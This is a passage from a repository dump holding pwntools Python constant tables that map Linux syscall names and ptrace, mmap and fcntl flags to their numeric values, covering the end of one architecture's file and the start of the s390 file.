= Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FILE = Constant('MAP_FILE',0)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nSYS_accept = Constant('SYS_accept',202)\nSYS_accept4 = Constant('SYS_accept4',242)\nSYS_acct = Constant('SYS_acct',89)\nSYS_add_key = Constant('SYS_add_key',217)\nSYS_adjtimex = Constant('SYS_adjtimex',171)\nSYS_arch_specific_syscall = Constant('SYS_arch_specific_syscall',244)\nSYS_bind = Constant('SYS_bind',200)\nSYS_bpf = Constant('SYS_bpf',280)\nSYS_brk = Constant('SYS_brk',214)\nSYS_capget = Constant('SYS_capget',90)\nSYS_capset = Constant('SYS_capset',91)\nSYS_chdir = Constant('SYS_chdir',49)\nSYS_chroot = Constant('SYS_chroot',51)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',266)\nSYS_clock_getres = Constant('SYS_clock_getres',114)\nSYS_clock_gettime = Constant('SYS_clock_gettime',113)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',115)\nSYS_clock_settime = Constant('SYS_clock_settime',112)\nSYS_clone = Constant('SYS_clone',220)\nSYS_clone3 = Constant('SYS_clone3',435)\nSYS_close = Constant('SYS_close',57)\nSYS_close_range = Constant('SYS_close_range',436)\nSYS_connect = Constant('SYS_connect',203)\nSYS_copy_file_range = Constant('SYS_copy_file_range',285)\nSYS_delete_module = Constant('SYS_delete_module',106)\nSYS_dup = Constant('SYS_dup',23)\nSYS_dup3 = Constant('SYS_dup3',24)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',20)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',21)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',22)\nSYS_epoll_pwait2 = Constant('SYS_epoll_pwait2',441)\nSYS_eventfd2 = Constant('SYS_eventfd2',19)\nSYS_execve = Constant('SYS_execve',221)\nSYS_execveat = Constant('SYS_execveat',281)\nSYS_exit = Constant('SYS_exit',93)\nSYS_exit_group = Constant('SYS_exit_group',94)\nSYS_faccessat = Constant('SYS_faccessat',48)\nSYS_faccessat2 = Constant('SYS_faccessat2',439)\nSYS_fadvise64 = Constant('SYS_fadvise64',223)\nSYS_fallocate = Constant('SYS_fallocate',47)\nSYS_fanotify_init = Constant('SYS_fanotify_init',262)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',263)\nSYS_fchdir = Constant('SYS_fchdir',50)\nSYS_fchmod = Constant('SYS_fchmod',52)\nSYS_fchmodat = Constant('SYS_fchmodat',53)\nSYS_fchown = Constant('SYS_fchown',55)\nSYS_fchownat = Constant('SYS_fchownat',54)\nSYS_fcntl = Constant('SYS_fcntl',25)\nSYS_fdatasync = Constant('SYS_fdatasync',83)\nSYS_fgetxattr = Constant('SYS_fgetxattr',10)\nSYS_finit_module = Constant('SYS_finit_module',273)\nSYS_flistxattr = Constant('SYS_flistxattr',13)\nSYS_flock = Constant('SYS_flock',32)\nSYS_fremovexattr = Constant('SYS_fremovexattr',16)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',7)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstat = Constant('SYS_fstat',80)\nSYS_fstatfs = Constant('SYS_fstatfs',44)\nSYS_fsync = Constant('SYS_fsync',82)\nSYS_ftruncate = Constant('SYS_ftruncate',46)\nSYS_futex = Constant('SYS_futex',98)\nSYS_getcpu = Constant('SYS_getcpu',168)\nSYS_getcwd = Constant('SYS_getcwd',17)\nSYS_getdents64 = Constant('SYS_getdents64',61)\nSYS_getegid = Constant('SYS_getegid',177)\nSYS_geteuid = Constant('SYS_geteuid',175)\nSYS_getgid = Constant('SYS_getgid',176)\nSYS_getgroups = Constant('SYS_getgroups',158)\nSYS_getitimer = Constant('SYS_getitimer',102)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',236)\nSYS_getpeername = Constant('SYS_getpeername',205)\nSYS_getpgid = Constant('SYS_getpgid',155)\nSYS_getpid = Constant('SYS_getpid',172)\nSYS_getppid = Constant('SYS_getppid',173)\nSYS_getpriority = Constant('SYS_getpriority',141)\nSYS_getrandom = Constant('SYS_getrandom',278)\nSYS_getresgid = Constant('SYS_getresgid',150)\nSYS_getresuid = Constant('SYS_getresuid',148)\nSYS_getrlimit = Constant('SYS_getrlimit',163)\nSYS_get_robust_list = Constant('SYS_get_robust_list',100)\nSYS_getrusage = Constant('SYS_getrusage',165)\nSYS_getsid = Constant('SYS_getsid',156)\nSYS_getsockname = Constant('SYS_getsockname',204)\nSYS_getsockopt = Constant('SYS_getsockopt',209)\nSYS_gettid = Constant('SYS_gettid',178)\nSYS_gettimeofday = Constant('SYS_gettimeofday',169)\nSYS_getuid = Constant('SYS_getuid',174)\nSYS_getxattr = Constant('SYS_getxattr',8)\nSYS_init_module = Constant('SYS_init_module',105)\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',27)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',26)\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',28)\nSYS_io_cancel = Constant('SYS_io_cancel',3)\nSYS_ioctl = Constant('SYS_ioctl',29)\nSYS_io_destroy = Constant('SYS_io_destroy',1)\nSYS_io_getevents = Constant('SYS_io_getevents',4)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',292)\nSYS_ioprio_get = Constant('SYS_ioprio_get',31)\nSYS_ioprio_set = Constant('SYS_ioprio_set',30)\nSYS_io_setup = Constant('SYS_io_setup',0)\nSYS_io_submit = Constant('SYS_io_submit',2)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_kcmp = Constant('SYS_kcmp',272)\nSYS_kexec_file_load = Constant('SYS_kexec_file_load',294)\nSYS_kexec_load = Constant('SYS_kexec_load',104)\nSYS_keyctl = Constant('SYS_keyctl',219)\nSYS_kill = Constant('SYS_kill',129)\nSYS_landlock_add_rule = Constant('SYS_landlock_add_rule',445)\nSYS_landlock_create_ruleset = Constant('SYS_landlock_create_ruleset',444)\nSYS_landlock_restrict_self = Constant('SYS_landlock_restrict_self',446)\nSYS_lgetxattr = Constant('SYS_lgetxattr',9)\nSYS_linkat = Constant('SYS_linkat',37)\nSYS_listen = Constant('SYS_listen',201)\nSYS_listxattr = Constant('SYS_listxattr',11)\nSYS_llistxattr = Constant('SYS_llistxattr',12)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',18)\nSYS_lremovexattr = Constant('SYS_lremovexattr',15)\nSYS_lseek = Constant('SYS_lseek',62)\nSYS_lsetxattr = Constant('SYS_lsetxattr',6)\nSYS_madvise = Constant('SYS_madvise',233)\nSYS_mbind = Constant('SYS_mbind',235)\nSYS_membarrier = Constant('SYS_membarrier',283)\nSYS_memfd_create = Constant('SYS_memfd_create',279)\nSYS_migrate_pages = Constant('SYS_migrate_pages',238)\nSYS_mincore = Constant('SYS_mincore',232)\nSYS_mkdirat = Constant('SYS_mkdirat',34)\nSYS_mknodat = Constant('SYS_mknodat',33)\nSYS_mlock = Constant('SYS_mlock',228)\nSYS_mlock2 = Constant('SYS_mlock2',284)\nSYS_mlockall = Constant('SYS_mlockall',230)\nSYS_mmap = Constant('SYS_mmap',222)\nSYS_mount = Constant('SYS_mount',40)\nSYS_mount_setattr = Constant('SYS_mount_setattr',442)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',239)\nSYS_mprotect = Constant('SYS_mprotect',226)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',185)\nSYS_mq_notify = Constant('SYS_mq_notify',184)\nSYS_mq_open = Constant('SYS_mq_open',180)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',183)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',182)\nSYS_mq_unlink = Constant('SYS_mq_unlink',181)\nSYS_mremap = Constant('SYS_mremap',216)\nSYS_msgctl = Constant('SYS_msgctl',187)\nSYS_msgget = Constant('SYS_msgget',186)\nSYS_msgrcv = Constant('SYS_msgrcv',188)\nSYS_msgsnd = Constant('SYS_msgsnd',189)\nSYS_msync = Constant('SYS_msync',227)\nSYS_munlock = Constant('SYS_munlock',229)\nSYS_munlockall = Constant('SYS_munlockall',231)\nSYS_munmap = Constant('SYS_munmap',215)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',264)\nSYS_nanosleep = Constant('SYS_nanosleep',101)\nSYS_newfstatat = Constant('SYS_newfstatat',79)\nSYS_nfsservctl = Constant('SYS_nfsservctl',42)\nSYS_openat = Constant('SYS_openat',56)\nSYS_openat2 = Constant('SYS_openat2',437)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',265)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_perf_event_open = Constant('SYS_perf_event_open',241)\nSYS_personality = Constant('SYS_personality',92)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe2 = Constant('SYS_pipe2',59)\nSYS_pivot_root = Constant('SYS_pivot_root',41)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',289)\nSYS_pkey_free = Constant('SYS_pkey_free',290)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',288)\nSYS_ppoll = Constant('SYS_ppoll',73)\nSYS_prctl = Constant('SYS_prctl',167)\nSYS_pread64 = Constant('SYS_pread64',67)\nSYS_preadv = Constant('SYS_preadv',69)\nSYS_preadv2 = Constant('SYS_preadv2',286)\nSYS_prlimit64 = Constant('SYS_prlimit64',261)\nSYS_process_madvise = Constant('SYS_process_madvise',440)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',270)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',271)\nSYS_pselect6 = Constant('SYS_pselect6',72)\nSYS_ptrace = Constant('SYS_ptrace',117)\nSYS_pwrite64 = Constant('SYS_pwrite64',68)\nSYS_pwritev = Constant('SYS_pwritev',70)\nSYS_pwritev2 = Constant('SYS_pwritev2',287)\nSYS_quotactl = Constant('SYS_quotactl',60)\nSYS_read = Constant('SYS_read',63)\nSYS_readahead = Constant('SYS_readahead',213)\nSYS_readlinkat = Constant('SYS_readlinkat',78)\nSYS_readv = Constant('SYS_readv',65)\nSYS_reboot = Constant('SYS_reboot',142)\nSYS_recvfrom = Constant('SYS_recvfrom',207)\nSYS_recvmmsg = Constant('SYS_recvmmsg',243)\nSYS_recvmsg = Constant('SYS_recvmsg',212)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',234)\nSYS_removexattr = Constant('SYS_removexattr',14)\nSYS_renameat2 = Constant('SYS_renameat2',276)\nSYS_request_key = Constant('SYS_request_key',218)\nSYS_restart_syscall = Constant('SYS_restart_syscall',128)\nSYS_riscv_flush_icache = Constant('SYS_riscv_flush_icache',(244 + 15))\nSYS_rseq = Constant('SYS_rseq',293)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',134)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',136)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',135)\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',138)\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',139)\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',133)\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',137)\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',240)\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',123)\nSYS_sched_getattr = Constant('SYS_sched_getattr',275)\nSYS_sched_getparam = Constant('SYS_sched_getparam',121)\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',125)\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',126)\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',120)\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',127)\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',122)\nSYS_sched_setattr = Constant('SYS_sched_setattr',274)\nSYS_sched_setparam = Constant('SYS_sched_setparam',118)\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',119)\nSYS_sched_yield = Constant('SYS_sched_yield',124)\nSYS_seccomp = Constant('SYS_seccomp',277)\nSYS_semctl = Constant('SYS_semctl',191)\nSYS_semget = Constant('SYS_semget',190)\nSYS_semop = Constant('SYS_semop',193)\nSYS_semtimedop = Constant('SYS_semtimedop',192)\nSYS_sendfile = Constant('SYS_sendfile',71)\nSYS_sendmmsg = Constant('SYS_sendmmsg',269)\nSYS_sendmsg = Constant('SYS_sendmsg',211)\nSYS_sendto = Constant('SYS_sendto',206)\nSYS_setdomainname = Constant('SYS_setdomainname',162)\nSYS_setfsgid = Constant('SYS_setfsgid',152)\nSYS_setfsuid = Constant('SYS_setfsuid',151)\nSYS_setgid = Constant('SYS_setgid',144)\nSYS_setgroups = Constant('SYS_setgroups',159)\nSYS_sethostname = Constant('SYS_sethostname',161)\nSYS_setitimer = Constant('SYS_setitimer',103)\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',237)\nSYS_setns = Constant('SYS_setns',268)\nSYS_setpgid = Constant('SYS_setpgid',154)\nSYS_setpriority = Constant('SYS_setpriority',140)\nSYS_setregid = Constant('SYS_setregid',143)\nSYS_setresgid = Constant('SYS_setresgid',149)\nSYS_setresuid = Constant('SYS_setresuid',147)\nSYS_setreuid = Constant('SYS_setreuid',145)\nSYS_setrlimit = Constant('SYS_setrlimit',164)\nSYS_set_robust_list = Constant('SYS_set_robust_list',99)\nSYS_setsid = Constant('SYS_setsid',157)\nSYS_setsockopt = Constant('SYS_setsockopt',208)\nSYS_set_tid_address = Constant('SYS_set_tid_address',96)\nSYS_settimeofday = Constant('SYS_settimeofday',170)\nSYS_setuid = Constant('SYS_setuid',146)\nSYS_setxattr = Constant('SYS_setxattr',5)\nSYS_shmat = Constant('SYS_shmat',196)\nSYS_shmctl = Constant('SYS_shmctl',195)\nSYS_shmdt = Constant('SYS_shmdt',197)\nSYS_shmget = Constant('SYS_shmget',194)\nSYS_shutdown = Constant('SYS_shutdown',210)\nSYS_sigaltstack = Constant('SYS_sigaltstack',132)\nSYS_signalfd4 = Constant('SYS_signalfd4',74)\nSYS_socket = Constant('SYS_socket',198)\nSYS_socketpair = Constant('SYS_socketpair',199)\nSYS_splice = Constant('SYS_splice',76)\nSYS_statfs = Constant('SYS_statfs',43)\nSYS_statx = Constant('SYS_statx',291)\nSYS_swapoff = Constant('SYS_swapoff',225)\nSYS_swapon = Constant('SYS_swapon',224)\nSYS_symlinkat = Constant('SYS_symlinkat',36)\nSYS_sync = Constant('SYS_sync',81)\nSYS_sync_file_range = Constant('SYS_sync_file_range',84)\nSYS_syncfs = Constant('SYS_syncfs',267)\nSYS_sysinfo = Constant('SYS_sysinfo',179)\nSYS_syslog = Constant('SYS_syslog',116)\nSYS_sysriscv = Constant('SYS_sysriscv',244)\nSYS_tee = Constant('SYS_tee',77)\nSYS_tgkill = Constant('SYS_tgkill',131)\nSYS_timer_create = Constant('SYS_timer_create',107)\nSYS_timer_delete = Constant('SYS_timer_delete',111)\nSYS_timerfd_create = Constant('SYS_timerfd_create',85)\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',87)\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',86)\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',109)\nSYS_timer_gettime = Constant('SYS_timer_gettime',108)\nSYS_timer_settime = Constant('SYS_timer_settime',110)\nSYS_times = Constant('SYS_times',153)\nSYS_tkill = Constant('SYS_tkill',130)\nSYS_truncate = Constant('SYS_truncate',45)\nSYS_umask = Constant('SYS_umask',166)\nSYS_umount2 = Constant('SYS_umount2',39)\nSYS_uname = Constant('SYS_uname',160)\nSYS_unlinkat = Constant('SYS_unlinkat',35)\nSYS_unshare = Constant('SYS_unshare',97)\nSYS_userfaultfd = Constant('SYS_userfaultfd',282)\nSYS_utimensat = Constant('SYS_utimensat',88)\nSYS_vhangup = Constant('SYS_vhangup',58)\nSYS_vmsplice = Constant('SYS_vmsplice',75)\nSYS_wait4 = Constant('SYS_wait4',260)\nSYS_waitid = Constant('SYS_waitid',95)\nSYS_write = Constant('SYS_write',64)\nSYS_writev = Constant('SYS_writev',66)\n"
  },
  {
    "path": "pwnlib/constants/linux/s390.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_exit = Constant('__NR_exit',1)\n__NR_fork = Constant('__NR_fork',2)\n__NR_read = Constant('__NR_read',3)\n__NR_write = Constant('__NR_write',4)\n__NR_open = Constant('__NR_open',5)\n__NR_close = Constant('__NR_close',6)\n__NR_restart_syscall = Constant('__NR_restart_syscall',7)\n__NR_creat = Constant('__NR_creat',8)\n__NR_link = Constant('__NR_link',9)\n__NR_unlink = Constant('__NR_unlink',10)\n__NR_execve = Constant('__NR_execve',11)\n__NR_chdir = Constant('__NR_chdir',12)\n__NR_time = Constant('__NR_time',13)\n__NR_mknod = Constant('__NR_mknod',14)\n__NR_chmod = Constant('__NR_chmod',15)\n__NR_lchown = Constant('__NR_lchown',16)\n__NR_lseek = Constant('__NR_lseek',19)\n__NR_getpid = Constant('__NR_getpid',20)\n__NR_mount = Constant('__NR_mount',21)\n__NR_umount = Constant('__NR_umount',22)\n__NR_setuid = Constant('__NR_setuid',23)\n__NR_getuid = Constant('__NR_getuid',24)\n__NR_stime = Constant('__NR_stime',25)\n__NR_ptrace = Constant('__NR_ptrace',26)\n__NR_alarm = Constant('__NR_alarm',27)\n__NR_pause = Constant('__NR_pause',29)\n__NR_utime = Constant('__NR_utime',30)\n__NR_access = Constant('__NR_access',33)\n__NR_nice = Constant('__NR_nice',34)\n__NR_sync = Constant('__NR_sync',36)\n__NR_kill = Constant('__NR_kill',37)\n__NR_rename = Constant('__NR_rename',38)\n__NR_mkdir = Constant('__NR_mkdir',39)\n__NR_rmdir = Constant('__NR_rmdir',40)\n__NR_dup = Constant('__NR_dup',41)\n__NR_pipe = Constant('__NR_pipe',42)\n__NR_times = Constant('__NR_times',43)\n__NR_brk = Constant('__NR_brk',45)\n__NR_setgid = Constant('__NR_setgid',46)\n__NR_getgid = Constant('__NR_getgid',47)\n__NR_signal = Constant('__NR_signal',48)\n__NR_geteuid = Constant('__NR_geteuid',49)\n__NR_getegid = Constant('__NR_getegid',50)\n__NR_acct = Constant('__NR_acct',51)\n__NR_umount2 = Constant('__NR_umount2',52)\n__NR_ioctl = Constant('__NR_ioctl',54)\n__NR_fcntl = Constant('__NR_fcntl',55)\n__NR_setpgid = Constant('__NR_setpgid',57)\n__NR_umask = Constant('__NR_umask',60)\n__NR_chroot = Constant('__NR_chroot',61)\n__NR_ustat = Constant('__NR_ustat',62)\n__NR_dup2 = Constant('__NR_dup2',63)\n__NR_getppid = Constant('__NR_getppid',64)\n__NR_getpgrp = Constant('__NR_getpgrp',65)\n__NR_setsid = Constant('__NR_setsid',66)\n__NR_sigaction = Constant('__NR_sigaction',67)\n__NR_setreuid = Constant('__NR_setreuid',70)\n__NR_setregid = Constant('__NR_setregid',71)\n__NR_sigsuspend = Constant('__NR_sigsuspend',72)\n__NR_sigpending = Constant('__NR_sigpending',73)\n__NR_sethostname = Constant('__NR_sethostname',74)\n__NR_setrlimit = Constant('__NR_setrlimit',75)\n__NR_getrlimit = Constant('__NR_getrlimit',76)\n__NR_getrusage = Constant('__NR_getrusage',77)\n__NR_gettimeofday = Constant('__NR_gettimeofday',78)\n__NR_settimeofday = Constant('__NR_settimeofday',79)\n__NR_getgroups = Constant('__NR_getgroups',80)\n__NR_setgroups = Constant('__NR_setgroups',81)\n__NR_symlink = Constant('__NR_symlink',83)\n__NR_readlink = Constant('__NR_readlink',85)\n__NR_uselib = Constant('__NR_uselib',86)\n__NR_swapon = Constant('__NR_swapon',87)\n__NR_reboot = Constant('__NR_reboot',88)\n__NR_readdir = Constant('__NR_readdir',89)\n__NR_mmap = Constant('__NR_mmap',90)\n__NR_munmap = Constant('__NR_munmap',91)\n__NR_truncate = Constant('__NR_truncate',92)\n__NR_ftruncate = Constant('__NR_ftruncate',93)\n__NR_fchmod = Constant('__NR_fchmod',94)\n__NR_fchown = Constant('__NR_fchown',95)\n__NR_getpriority = Constant('__NR_getpriority',96)\n__NR_setpriority = Constant('__NR_setpriority',97)\n__NR_statfs = Constant('__NR_statfs',99)\n__NR_fstatfs = Constant('__NR_fstatfs',100)\n__NR_ioperm = Constant('__NR_ioperm',101)\n__NR_socketcall = Constant('__NR_socketcall',102)\n__NR_syslog = Constant('__NR_syslog',103)\n__NR_setitimer = Constant('__NR_setitimer',104)\n__NR_getitimer = Constant('__NR_getitimer',105)\n__NR_stat = Constant('__NR_stat',106)\n__NR_lstat = Constant('__NR_lstat',107)\n__NR_fstat = Constant('__NR_fstat',108)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',110)\n__NR_vhangup = Constant('__NR_vhangup',111)\n__NR_idle = Constant('__NR_idle',112)\n__NR_wait4 = Constant('__NR_wait4',114)\n__NR_swapoff = Constant('__NR_swapoff',115)\n__NR_sysinfo = Constant('__NR_sysinfo',116)\n__NR_ipc = Constant('__NR_ipc',117)\n__NR_fsync = Constant('__NR_fsync',118)\n__NR_sigreturn = Constant('__NR_sigreturn',119)\n__NR_clone = Constant('__NR_clone',120)\n__NR_setdomainname = Constant('__NR_setdomainname',121)\n__NR_uname = Constant('__NR_uname',122)\n__NR_adjtimex = Constant('__NR_adjtimex',124)\n__NR_mprotect = Constant('__NR_mprotect',125)\n__NR_sigprocmask = Constant('__NR_sigprocmask',126)\n__NR_create_module = Constant('__NR_create_module',127)\n__NR_init_module = Constant('__NR_init_module',128)\n__NR_delete_module = Constant('__NR_delete_module',129)\n__NR_get_kernel_syms = Constant('__NR_get_kernel_syms',130)\n__NR_quotactl = Constant('__NR_quotactl',131)\n__NR_getpgid = Constant('__NR_getpgid',132)\n__NR_fchdir = Constant('__NR_fchdir',133)\n__NR_bdflush = Constant('__NR_bdflush',134)\n__NR_sysfs = Constant('__NR_sysfs',135)\n__NR_personality = Constant('__NR_personality',136)\n__NR_afs_syscall = Constant('__NR_afs_syscall',137)\n__NR_setfsuid = Constant('__NR_setfsuid',138)\n__NR_setfsgid = Constant('__NR_setfsgid',139)\n__NR__llseek = Constant('__NR__llseek',140)\n__NR_getdents = Constant('__NR_getdents',141)\n__NR__newselect = Constant('__NR__newselect',142)\n__NR_flock = Constant('__NR_flock',143)\n__NR_msync = Constant('__NR_msync',144)\n__NR_readv = Constant('__NR_readv',145)\n__NR_writev = Constant('__NR_writev',146)\n__NR_getsid = Constant('__NR_getsid',147)\n__NR_fdatasync = Constant('__NR_fdatasync',148)\n__NR__sysctl = Constant('__NR__sysctl',149)\n__NR_mlock = Constant('__NR_mlock',150)\n__NR_munlock = Constant('__NR_munlock',151)\n__NR_mlockall = Constant('__NR_mlockall',152)\n__NR_munlockall = Constant('__NR_munlockall',153)\n__NR_sched_setparam = Constant('__NR_sched_setparam',154)\n__NR_sched_getparam = Constant('__NR_sched_getparam',155)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',156)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',157)\n__NR_sched_yield = Constant('__NR_sched_yield',158)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',159)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',160)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',161)\n__NR_nanosleep = Constant('__NR_nanosleep',162)\n__NR_mremap = Constant('__NR_mremap',163)\n__NR_setresuid = Constant('__NR_setresuid',164)\n__NR_getresuid = Constant('__NR_getresuid',165)\n__NR_query_module = Constant('__NR_query_module',167)\n__NR_poll = Constant('__NR_poll',168)\n__NR_nfsservctl = Constant('__NR_nfsservctl',169)\n__NR_setresgid = Constant('__NR_setresgid',170)\n__NR_getresgid = Constant('__NR_getresgid',171)\n__NR_prctl = Constant('__NR_prctl',172)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',173)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',174)\n__NR_rt_sigprocmask = 